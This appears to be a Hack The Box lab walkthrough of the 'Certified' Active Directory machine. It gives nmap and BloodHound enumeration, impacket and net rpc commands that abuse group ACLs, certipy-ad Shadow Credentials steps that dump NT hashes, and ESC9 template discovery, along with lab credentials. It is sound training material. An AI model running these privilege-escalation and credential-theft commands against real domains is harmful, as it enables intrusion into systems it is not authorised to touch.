HTB - Certified
Target IP: 10.129.231.186
Domain: certified.htb
DC Hostname: DC01.certified.htb
OS: Windows Server (Domain Controller)
Difficulty: Medium
Assumed Breach: Yes — starting credentials provided (judith.mader:judith09)
Author: [g1nt0n1c]
1. Phase 1: Reconnaissance & Information Gathering
1.1 TCP Port Discovery
# Fast full-port sweep to identify all open ports
nmap -p- --min-rate 10000 10.129.231.186
# Targeted version + script scan on identified ports
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5357,5985,9389 -sCV 10.129.231.186Port Analysis & Attack Surface
| Port | Service | Notes |
|---|---|---|
| 88/tcp | Kerberos | Domain Controller confirmed |
| 389/tcp | LDAP | Domain: certified.htb, DC: DC01.certified.htb |
| 445/tcp | SMB | Signing required — relay attacks blocked |
| 5985/tcp | WinRM | Remote shell entry point if valid credentials found |
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows AD LDAP (Domain: certified.htb)
| ssl-cert: Subject: commonName=DC01.certified.htb
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Service Info: Host: DC01; OS: Windows
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
1.2 Local Host Resolution
# Use nxc's built-in hosts generator to populate /etc/hosts automatically
nxc smb 10.129.231.186 --generate-hosts-file hosts
cat hosts | sudo tee -a /etc/hosts1.3 Sync Clock with DC
Kerberos requires clock skew to be under 5 minutes. Sync before running any Kerberos-based tools.
# Sync local clock to the DC's time
sudo ntpdate 10.129.231.1862. Phase 2: BloodHound Enumeration
2.1 Collect AD Data with BloodHound via nxc
Since this is an assumed breach scenario (credentials are provided), run BloodHound collection immediately. nxc has a built-in module that handles authentication, collection, and packaging in one command.
# --bloodhound: run SharpHound collection | --collection All: grab everything
nxc ldap 10.129.231.186 -u judith.mader -p judith09 --dns-server 10.129.231.186 --bloodhound --collection All
# Copy the resulting zip to the current directory for upload
cp /home/kali/.nxc/logs/DC01_10.129.231.186_*_bloodhound.zip .Upload the zip to BloodHound CE and query “Shortest Paths from Owned Objects” after marking judith.mader as owned.
2.2 Identify the Attack Path
BloodHound reveals a three-hop ACL chain:
judith.mader --[WriteOwner]--> MANAGEMENT (group)
|
[GenericWrite]
|
management_svc
|
[GenericAll]
|
ca_operator
Each edge represents an abusable Active Directory permission. We walk the chain one hop at a time.

3. Phase 3: ACL Abuse Chain
Hop 1: judith.mader → WriteOwner → MANAGEMENT group
WriteOwner allows changing the owner of an AD object. As owner, you can then modify the object’s DACL to grant yourself any additional right — such as WriteMembers.
Step 1 — Take ownership of the MANAGEMENT group
# -action write: set a new owner | -new-owner: principal gaining ownership | -target: object to own
python /usr/share/doc/python3-impacket/examples/owneredit.py -action write -new-owner 'judith.mader' -target management certified.htb/judith.mader:judith09Step 2 — Grant judith.mader WriteMembers rights on the group
# Add a DACL entry giving judith.mader the right to add/remove group members
python /usr/share/doc/python3-impacket/examples/dacledit.py -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'Step 3 — Add judith.mader to the MANAGEMENT group
# Add our user to the group, activating the GenericWrite edge on management_svc
net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "10.129.231.186"
# Verify membership
net rpc group members "management" -U "certified.htb"/"judith.mader"%"judith09" -S "10.129.231.186"Hop 2: MANAGEMENT → GenericWrite → management_svc (Shadow Credentials)
GenericWrite on a user allows writing to any non-protected attribute — including msDS-KeyCredentialLink, which is used for Windows Hello for Business / PKINIT key-based authentication.
By adding a rogue key credential to this attribute (Shadow Credentials attack), we can authenticate as the target user via PKINIT and retrieve their NTLM hash — without knowing or changing their password.
# shadow auto: full attack in one step — adds key credential, authenticates, retrieves hash, cleans up
certipy-ad shadow auto -username judith.mader@certified.htb -password judith09 -account management_svc -target certified.htb -dc-ip 10.129.231.186
# [*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584Hop 3: management_svc → GenericAll → ca_operator (Shadow Credentials)
GenericAll is full control over the object — a superset of GenericWrite. The same Shadow Credentials technique applies.
# Authenticate as management_svc using its NT hash (-hashes :HASH)
certipy-ad shadow auto -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -account ca_operator -target certified.htb -dc-ip 10.129.231.186
# [*] NT hash for 'ca_operator': b4b86f45c6018f1b664f70805f45d8f24. Phase 4: ADCS Enumeration (ESC9)
4.1 Scan for Vulnerable Certificate Templates
# Run as ca_operator — this account likely has enroll rights on interesting templates
certipy-ad find -vulnerable -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.129.231.186 -stdout
# [!] Vulnerabilities
# ESC9: 'CERTIFIED.HTB\\ca operator' can enroll and template has no security extensionESC9 affects templates where the CT_FLAG_NO_SECURITY_EXTENSION flag is set. This flag causes the issued certificate to omit the Object SID extension, which means the certificate’s UPN is trusted at face value — making it possible to impersonate any user whose UPN can be forged in the request.
Note: ESC9 exploitation is outside the OSCP scope and is not covered further here.
Deep Dive: ACL Abuse in Active Directory
Active Directory objects (users, groups, GPOs, OUs) each have a Discretionary Access Control List (DACL) defining who can do what to them. Many common AD rights can be abused for privilege escalation:
| ACL Right | What it enables |
|---|---|
| WriteOwner | Change the object’s owner → then modify its DACL freely |
| WriteDACL | Directly modify the object’s DACL → grant yourself any right |
| GenericWrite | Write to any non-protected attribute → Shadow Credentials, SPN abuse |
| GenericAll | Full control → password reset, Shadow Credentials, group membership |
| ForceChangePassword | Reset password without knowing the current one |
BloodHound maps these edges automatically and provides step-by-step abuse instructions for each. After marking owned principals, the “Shortest Paths from Owned Objects” query reveals the full attack path.
Deep Dive: Shadow Credentials Attack
The msDS-KeyCredentialLink attribute stores public key credentials used for PKINIT (Kerberos certificate-based pre-authentication). If you have GenericWrite or higher over a user, you can add your own key pair to this attribute.
The attack flow:
- Generate an asymmetric key pair
- Write the public key to the target’s
msDS-KeyCredentialLink - Authenticate via Kerberos PKINIT using the private key
- Exchange the resulting TGT for the target’s NTLM hash via U2U Kerberos
The certipy-ad shadow auto command handles all four steps and cleans up the key credential afterwards, leaving minimal trace. It does not change the user’s password or disrupt their sessions.
Key Takeaways & Checklist
- On assumed breach boxes, run BloodHound collection immediately — it maps the entire attack path upfront
nxc --bloodhound --collection Allis the fastest single-command approach- Always mark your starting user as Owned in BloodHound before querying paths
- BloodHound’s built-in abuse info (right-click any edge → Help) gives exact commands
WriteOwner→ take ownership → grant yourselfWriteMembers→ join groupGenericWrite/GenericAllover a user → Shadow Credentials viacertipy-ad shadow auto- Shadow Credentials is stealthy: no password change, no session disruption
- After gaining a new hash, re-run
certipy-ad find -vulnerablewith the new account — CA permissions often differ per account